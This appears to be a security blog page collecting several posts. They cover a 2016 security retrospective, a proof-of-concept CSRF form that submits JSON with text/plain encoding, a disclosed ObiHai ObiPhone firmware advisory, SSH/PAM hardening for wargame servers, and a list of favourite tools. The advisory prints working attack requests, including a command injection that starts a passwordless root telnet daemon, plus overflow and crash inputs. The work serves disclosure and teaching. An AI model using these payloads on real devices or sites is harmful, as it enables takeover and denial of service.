System Overlord

A blog about security engineering, research, and general hacking.

Security at the End of 2016

Well, 2016 is just about at an end, and what a year it has been. I’m not going to delve into politics, though that will arguably be how the history books will remember this year, but I want to take a look back at a few of the big security headlines of the year, and then make some completely wildass prognostications about information security in 2017.

Bad News of 2016

Yahoo! reported over 1 billion accounts were stolen by unknown attackers. Though the breaches occurred in 2013 and 2014, they weren’t publicly reported until the tail end of this year.

The US Government has claimed that Russians interfered with the US election by hacking the political parties, voter registration, etc. Whether or not it was done by the Russian government or so-called “lone wolves” is still not clear from the information that’s been released, but was is clear is that there was a data breach in at least the DNC during a major election.

Speaking of the FBI and DHS reporting on hacking, they themselves were breached near the beginning of the year. I’m glad we have them to investigate and report on data breaches and compromises in the US. Peraps they should look at their own networks first.

In continuing government insecurity, the Internal Revenue Service lost data on 700,000 taxpayers. Good thing they don’t deal with anything particularly sensitive, right?

I could go on about data breaches – LinkedIn, the FDIC, Verizon Enterprise, and on and on and on.

The most unusual event of 2016 was the formation of the Mirai botnet, a massive botnet of Internet of Things devices, which was used to DoS security blogger Brian Krebs, Amazon’s AWS network, and other networks, resulting in significant disruptions to major services, including everyday services like Netflix.

What 2017 Will Bring

I believe 2017 will bring increasing complexity to our applications and networks, making life even harder for security professionals. We’ll have more platforms, more IoT, more devices, and more breaches.

Security is a hard field to stay ahead of, no matter how hard you work at it. I try to read every article, every paper, every book I can get my hands on just to stay in the game, let alone get to the top.

Take a look at Cross-Site Scripting. A few years ago, we just had to worry about the XSS bug itself and how it would affect the origin containing the bug. Today, we have the XSS bug and mitigations from CSP (several versions), we have CORS allowing bugs to span origins, we have XSS stored in LocalStorage, and we have CSP bypasses at every corner. Who knows what 2017 will bring in just that narrow space?

I’m hoping 2017 will bring more interesting research, more open collaboration, and more quality tools and work. I’m particularly hoping that I’ll be able to bring some interesting work to light in 2017 – and maybe some fun bugs along the way.

To all my fellow hackers: happy new year!


Posting JSON with an HTML Form

A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes!

Interestingly, this is reminiscent of many of the confusions between server and browser that are described in Michal Zalewski’s The Tangled Web.

The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC.

The Application

We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
	"encoding/json"
	"fmt"
	"net/http"
)

type Secrets struct {
	Secret int
}

var storage Secrets

func handler(w http.ResponseWriter, r *http.Request) {
	if r.Method == "POST" {
		json.NewDecoder(r.Body).Decode(&storage)
	}
	fmt.Fprintf(w, "The secret is %d", storage.Secret)
}

func main() {
	http.HandleFunc("/", handler)
	http.ListenAndServe(":8080", nil)
}

As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed.

Exploring Options

So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work.

JSON in Forms

Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name.

1
2
3
4
<form method='POST'>
  <input name='json' value='{"foo": "bar"}'>
  <input type='submit'>
</form>

Results in a POST body of:

1
json=%7B%22foo%22%3A+%22bar%22%7D

Good luck decoding that as JSON!

Doing it as the form field name doesn’t get any better.

1
%7B%22foo%22%3A+%22bar%22%7D=value

It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like:

1
json={"foo": "bar"}

Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.)

Putting it All Together

1
2
3
4
5
<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain'>
    <input name='{"secret": 1337, "trash": "' value='"}'>
  </form>
</body>

This results in a request body of:

1
{"secret": 1337, "trash": "="}

This parses just fine and updates our secret!


ObiHai ObiPhone: Multiple Vulnerabilties

Note that this a duplicate of the advisory sent to the full-disclosure mailing list.

Introduction

Multiple vulnerabilities were discovered in the web management interface of the ObiHai ObiPhone products. The Vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive.

Affected Devices and Versions

ObiPhone 1032/1062 with firmware less than 5-0-0-3497.

Vulnerability Overview

Obi-1. Memory corruption leading to free() of an attacker-controlled address
Obi-2. Command injection in WiFi Config
Obi-3. Denial of Service due to buffer overflow
Obi-4. Buffer overflow in internal socket handler
Obi-5. Cross-site request forgery
Obi-6. Failure to implement RFC 2617 correctly
Obi-7. Invalid pointer dereference due to invalid header
Obi-8. Null pointer dereference due to malicious URL
Obi-9. Denial of service due to invalid content-length

Vulnerability Details

Obi-1. Memory corruption leading to free() of an attacker-controlled address

By providing a long URI (longer than 256 bytes) not containing a slash in a request, a pointer is overwritten which is later passed to free(). By controlling the location of the pointer, this would allow an attacker to affect control flow and gain control of the application. Note that the free() seems to occur during cleanup of the request, as a 404 is returned to the user before the segmentation fault.

1
2
3
4
5
6
7
8
9
10
11
12
13
python -c 'print "GET " + "A"*257 + " HTTP/1.1\nHost: foo"' | nc IP 80

(gdb) bt
#0  0x479d8b18 in free () from root/lib/libc.so.6
#1  0x00135f20 in ?? ()
(gdb) x/5i $pc
=> 0x479d8b18 <free+48>:        ldr     r3, [r0, #-4]
   0x479d8b1c <free+52>:        sub     r5, r0, #8
   0x479d8b20 <free+56>:        tst     r3, #2
   0x479d8b24 <free+60>:        bne     0x479d8bec <free+260>
   0x479d8b28 <free+64>:        tst     r3, #4
(gdb) i r r0
r0             0x41     65

Obi-2. Command injection in WiFi Config

An authenticated user (including the lower-privileged “user” user) can enter a hidden network name similar to “$(/usr/sbin/telnetd &)”, which starts the telnet daemon.

1
2
3
GET /wifi?checkssid=$(/usr/sbin/telnetd%20&) HTTP/1.1
Host: foo
Authorization: [omitted]

Note that telnetd is now running and accessible via user “root” with no password.

Obi-3. Denial of Service due to buffer overflow

By providing a long URI (longer than 256 bytes) beginning with a slash, memory is overwritten beyond the end of mapped memory, leading to a crash. Though no exploitable behavior was observed, it is believed that memory containing information relevant to the request or control flow is likely overwritten in the process. strcpy() appears to write past the end of the stack for the current thread, but it does not appear that there are saved link registers on the stack for the devices under test.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python -c 'print "GET /" + "A"*256 + " HTTP/1.1\nHost: foo"' | nc IP 80

(gdb) bt
#0  0x479dc440 in strcpy () from root/lib/libc.so.6
#1  0x001361c0 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/5i $pc
=> 0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
   0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
   0x479dc448 <strcpy+24>:      bx      lr
   0x479dc44c <strcspn>:        push    {r4, r5, r6, lr}
   0x479dc450 <strcspn+4>:      ldrb    r3, [r0]
(gdb) i r r1 r2
r1             0xb434df01       3023363841
r2             0xff     255
(gdb) p/x $r1+$r2
$1 = 0xb434e000

Obi-4. Buffer overflow in internal socket handler

Commands to be executed by realtime backend process obid are sent via Unix domain sockets from obiapp. In formatting the message for the Unix socket, a new string is constructed on the stack. This string can overflow the static buffer, leading to control of program flow. The only vectors leading to this code that were discovered during the assessment were authenticated, however unauthenticated code paths may exist. Note that the example command can be executed as the lower-privileged “user” user.

1
2
3
4
5
6
7
GET /wifi?checkssid=[A*1024] HTTP/1.1
Host: foo
Authorization: [omitted]

(gdb) 
#0  0x41414140 in ?? ()
#1  0x0006dc78 in ?? ()

Obi-5. Cross-site request forgery

All portions of the web interface appear to lack any protection against Cross-Site Request Forgery. Combined with the command injection vector in ObiPhone-3, this would allow a remote attacker to execute arbitrary shell commands on the phone, provided the current browser session was logged-in to the phone.

Obi-6. Failure to implement RFC 2617 correctly

RFC 2617 specifies HTTP digest authentication, but is not correctly implemented on the ObiPhone. The HTTP digest authentication fails to comply in the following ways:

  • The URI is not validated
  • The application does not verify that the nonce received is the one it sent
  • The application does not verify that the nc value does not repeat or go backwards

    GET / HTTP/1.1 Host: foo Authorization: Digest username=”admin”, realm=”a”, nonce=”a”, uri=”/”, algorithm=MD5, response=”309091eb609a937358a848ff817b231c”, opaque=””, qop=auth, nc=00000001, cnonce=”a” Connection: close

    HTTP/1.1 200 OK Server: OBi110 Cache-Control:must-revalidate, no-store, no-cache Content-Type: text/html Content-Length: 1108 Connection: close

Please note that the realm, nonce, cnonce, and nc values have all been chosen and the response generated offline.

Obi-7. Invalid pointer dereference due to invalid header

Sending an invalid HTTP Authorization header, such as “Authorization: foo”, causes the program to attempt to read from an invalid memory address, leading to a segmentation fault and reboot of the device. This requires no authentication, only access to the network to which the device is connected.

1
2
3
GET / HTTP/1.1
Host: foo
Authorization: foo

This causes the server to dereference the address 0xFFFFFFFF, presumably returned as a -1 error code.

1
2
3
4
5
6
7
8
9
10
11
(gdb) bt
#0  0x479dc438 in strcpy () from root/lib/libc.so.6
#1  0x00134ae0 in ?? ()
(gdb) x/5i $pc
=> 0x479dc438 <strcpy+8>:       ldrb    r3, [r1, #1]!
   0x479dc43c <strcpy+12>:      cmp     r3, #0
   0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
   0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
   0x479dc448 <strcpy+24>:      bx      lr
(gdb) i r r1
r1             0xffffffff       4294967295

Obi-8. Null pointer dereference due to malicious URL

If the /obihai-xml handler is requested without any trailing slash or component, this leads to a null pointer dereference, crash, and subsequent reboot of the phone. This requires no authentication, only access to the network to which the device is connected.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /obihai-xml HTTP/1.1
Host: foo

(gdb) bt
#0  0x479dc7f4 in strlen () from root/lib/libc.so.6
Backtrace stopped: Cannot access memory at address 0x8f6
(gdb) info frame
Stack level 0, frame at 0xbef1aa50:
pc = 0x479dc7f4 in strlen; saved pc = 0x171830
Outermost frame: Cannot access memory at address 0x8f6
Arglist at 0xbef1aa50, args: 
Locals at 0xbef1aa50, Previous frame's sp is 0xbef1aa50
(gdb) x/5i $pc
=> 0x479dc7f4 <strlen+4>:       ldr     r2, [r1], #4
   0x479dc7f8 <strlen+8>:       ands    r3, r0, #3
   0x479dc7fc <strlen+12>:      rsb     r0, r3, #0
   0x479dc800 <strlen+16>:      beq     0x479dc818 <strlen+40>
   0x479dc804 <strlen+20>:      orr     r2, r2, #255    ; 0xff
(gdb) i r r1
r1             0x0      0

Obi-9. Denial of service due to invalid content-length

Content-Length headers of -1, -2, or -3 result in a crash and device reboot. This does not appear exploitable to gain execution. Larger (more negative) values return a page stating “Firmware Update Failed” though it does not appear any attempt to update the firmware with the posted data occurred.

1
2
3
4
5
POST / HTTP/1.1
Host: foo
Content-Length: -1

Foo

This appears to write a constant value of 0 to an address controlled by the Content-Length parameter, but since it appears to be relative to a freshly mapped page of memory (perhaps via mmap() or malloc()), it does not appear this can be used to gain control of the application.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) bt
#0  0x00138250 in HTTPD_msg_proc ()
#1  0x00070138 in ?? ()
(gdb) x/5i $pc
=> 0x138250 <HTTPD_msg_proc+396>:       strb    r1, [r3, r2]
  0x138254 <HTTPD_msg_proc+400>:       ldr     r1, [r4, #24]
  0x138258 <HTTPD_msg_proc+404>:       ldr     r0, [r4, #88]   ; 0x58
  0x13825c <HTTPD_msg_proc+408>:       bl      0x135a98
  0x138260 <HTTPD_msg_proc+412>:       ldr     r0, [r4, #88]   ; 0x58
(gdb) i r r3 r2
r3             0xafcc7000       2949410816
r2             0xffffffff       4294967295

Mitigation

Upgrade to Firmware 5-0-0-3497 (5.0.0 build 3497) or newer.

Author

The issues were discovered by David Tomaschik of the Google Security Team.

Timeline

  • 2016/05/12 - Reported to ObiHai
  • 2016/05/12 - Findings Acknowledged by ObiHai
  • 2016/05/20 - ObiHai reports working on patches for most issues
  • 2016/06/?? - New Firmware posted to ObiHai Website
  • 2016/08/18 - Public Disclosure

(Slightly) Securing Wargame Servers

I was setting up some wargame boxes for a private group and wanted to reduce the risk of malfeasence/abuse from these boxes. One option, used by many public wargames, is locking down the firewall. While that’s a great start, I decided to go one step further and prevent directly logging in as the wargame users, requiring that the users of my private wargames have their own accounts.

Step 1: Setup the Private Accounts

This is pretty straightforward: create a group for these users that can SSH directly in, create their accounts, and setup their public keys.

1
2
3
4
5
# groupadd sshusers
# useradd -G sshusers matir
# su - matir
$ mkdir -p .ssh
$ echo 'AAA...' > .ssh/authorized_keys

Step 2: Configure PAM

This will setup PAM to define who can log in from where. Edit /etc/security/access.conf to look like this:

1
2
3
4
# /etc/security/access.conf
+ : (sshusers) : ALL
+ : ALL : 127.0.0.0/24
- : ALL : ALL

This allows sshusers to log in from anywhere, and everyone to log in locally. This way, users allowed via SSH log in, then port forward from their machine to the wargame server to connect as a level.

Edit /etc/pam.d/sshd to use this by uncommenting (or adding) a line:

1
account  required     pam_access.so nodefgroup

Step 3: Configure SSHD

Now we’ll configure SSHD to allow access as needed: passwords locally, keys only from remote hosts, and make sure we use pam. Ensure the following settings are set:

1
2
3
4
UsePAM yes

Match Host !127.0.0.0/24
  PasswordAuthentication no

Step 4: Test

Restart sshd and you should be able to connect remotely as any user in sshusers, but not any other user. You should also be able to port forward and check then connect with a username/password through the forwarded port.


Matir's Favorite Things

One of my friends was recently asking me about some of the tools I use, particularly for security assessments. While I can’t give out all of these things for free Oprah-style, I did want to take a moment to share some of my favorite security- and technology-related tools, services and resources.

Hardware

Lenovo T450s My primary laptop is a Lenovo T450s. For me, it’s the perfect mix of weight and processing power – configured with enough RAM, the i5-5200U has no trouble running 2 or 3 VMs at the same time, and with an internal 3-cell battery plus a 6-cell battery pack, it will go all day without an outlet. (Though not necessarily under 100% CPU load.) Though Lenovo no longer sells this, having replaced it with the T460s, it’s still available on Amazon.

Startech The StarTech.com USB 3.0 dual gigabit ethernet interface allows one to perform ethernet bridging or routing across it, while still having the built-in interface to connect to the internet. If you don’t have a built-in interface, it still gives you two interfaces to play with. Each interface is an ASIX AX88179 chip, and you’ll also see a VIA Labs, Inc. Hub appear when you connect it, giving some idea of how the device is implemented: a USB 3.0 hub, plus two USB 3.0 to GigE PHY chips. I haven’t benchmarked the interface (maybe I will soon) but for the cases I’ve used it for – mostly a passive MITM to observe traffic on embedded devices – it’s been much more than sufficient.

WiFi Pineapple Nano The WiFi Pineapple Nano is probably best known for its Karma trickery to impersonate other wireless networks, but this dual radio device is so much more. You can use it to connect one radio to a network and the other to share out WiFi, so you only have to pay for one connected device. In fact, you can put OpenVPN on it when doing this, so all your traffic (even on devices that don’t support a VPN, like a Kindle) is encrypted across the network. (Use WPA2 with a good passphrase on the client side if you want to have some semblance of privacy there.)

LAN Turtle The LAN Turtle is essentially a miniature ARM computer with two network interfaces. One of those interfaces is connected to a USB-to-Ethernet adapter, resulting in the entire device looking like an oversized USB-to-Ethernet adapter. You can plug this inline to a computer via USB and have an active MITM on the network, all powered from the USB port it’s plugged into. This is a stealthy drop box for access on an assessment. (I haven’t tried, but I imagine you can power it from a wall-wart and just plug in the wired interface if all if you need is a single network connection.) My biggest complaint about this device is that it, like all of the Hak5 hardware, is really not that open. I haven’t been able to build my own firmware for it, which I’d like to do, rather than just using the packages available in the default LAN Turtle firmware.

ALFA WiFi Adapter The ALFA AWUS036NH WiFi Adapter is the 802.11b/g/n version of the popular ALFA WiFi radios. It can go up to 2000 mW, but the legal limit in the USA is 1000 mW (30 dBm), and even at that power, you’re driving further than you can hear with most antennas. I like this package because it comes with a high-gain 7 dBi panel antenna and a suction cup mount, allowing you to place the adapter in the optimal position. Just in case that’s not enough, you can get a 13 dBi yagi to extend both your transmit and receive range even further. Great for demonstrating that a client can’t depend on physical distance to protect their wireless network.

Books

Oh man, I could go on for a while on books… I’m going to try to focus on just the highlights.

Stealing the Network There’s a number of books containing collections of anecdotes and stories that help to develop an attacker mindset, where you begin to think and understand as attackers do, preparing you to see things in a different light:

RTFM For Assessments, Penetration Testing, and other Offensive Security practices, there’s a huge variety of resources. While books do tend to become outdated quickly in this industry, the fundamentals don’t change that often, and it’s important to understand the fundamentals before moving on to the more advanced topics of discussion. While I strongly prefer eBooks (they’re lighter, go with me everywhere, and can be searched easily), one of my coworkers swears by the printed material – take your pick and do whatever works for you.

I’m not much of a blue teamer, so I’m hard pressed to suggest the “must have” books for that side of the house.

Services

I have to start with DigitalOcean. Not only is this blog hosted on one of their VPS, but I do a lot of my testing and research on their VPSs. Whenever I need a quick VM, I can spin one up there for under 1 cent per hour. I’ve had nearly perfect uptime (my own stupidity outweighs their outages at least 10 to 1) and on the rare occasion I’ve needed their support, it’s been absolutely first rate. DigitalOcean started off for developers, but they offer a great production-quality product for almost any use.